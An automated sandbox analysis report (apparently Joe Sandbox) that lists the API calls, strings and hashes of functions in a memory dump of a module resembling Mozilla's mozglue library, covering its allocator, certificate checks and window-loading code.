Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

(, xrefs: 6C96768A
SHA256, xrefs: 6C966EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8
wintrust.dll, xrefs: 6C9672CD

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
MOZ_CRASH(), xrefs: 6C989B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
<jemalloc>, xrefs: 6C989B33, 6C989BE3
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
MALLOC_OPTIONS, xrefs: 6C9897CA

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
MOZ_CRASH(), xrefs: 6C993950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
<jemalloc>, xrefs: 6C993941, 6C9939F1
Compile-time page size does not divide the runtime one., xrefs: 6C993946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
MALLOC_OPTIONS, xrefs: 6C9935FE

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

SetWindowLongPtrW, xrefs: 6C9B57B7
ReleaseDC, xrefs: 6C9B5742
StretchDIBits, xrefs: 6C9B57CC
GetWindowDC, xrefs: 6C9B5710
GetMonitorInfoW, xrefs: 6C9B57A2
ShowWindow, xrefs: 6C9B56DE
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
CreateSolidBrush, xrefs: 6C9B57E4
FillRect, xrefs: 6C9B5729
user32, xrefs: 6C9B5601
GetThreadDpiAwarenessContext, xrefs: 6C9B562D
CreateWindowExW, xrefs: 6C9B56C5
RegisterClassW, xrefs: 6C9B56AC
EnableNonClientDpiScaling, xrefs: 6C9B5666
GetDpiForWindow, xrefs: 6C9B5690
MonitorFromWindow, xrefs: 6C9B578D
gdi32, xrefs: 6C9B560A
SetWindowPos, xrefs: 6C9B56F7
LoadCursorW, xrefs: 6C9B5774
DeleteObject, xrefs: 6C9B57F9
LoadIconW, xrefs: 6C9B575B
GetSystemMetricsForDpi, xrefs: 6C9B5677

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

nvdxgiwrap.dll, xrefs: 6C966513
detoured.dll, xrefs: 6C9664DA
user32.dll, xrefs: 6C966526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
_etoured.dll, xrefs: 6C9664ED
nvd3d9wrap.dll, xrefs: 6C966500

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

MOZ_CRASH(), xrefs: 6C986AB8
<jemalloc>, xrefs: 6C986AA9, 6C986B59
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A
MALLOC_OPTIONS, xrefs: 6C986888

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
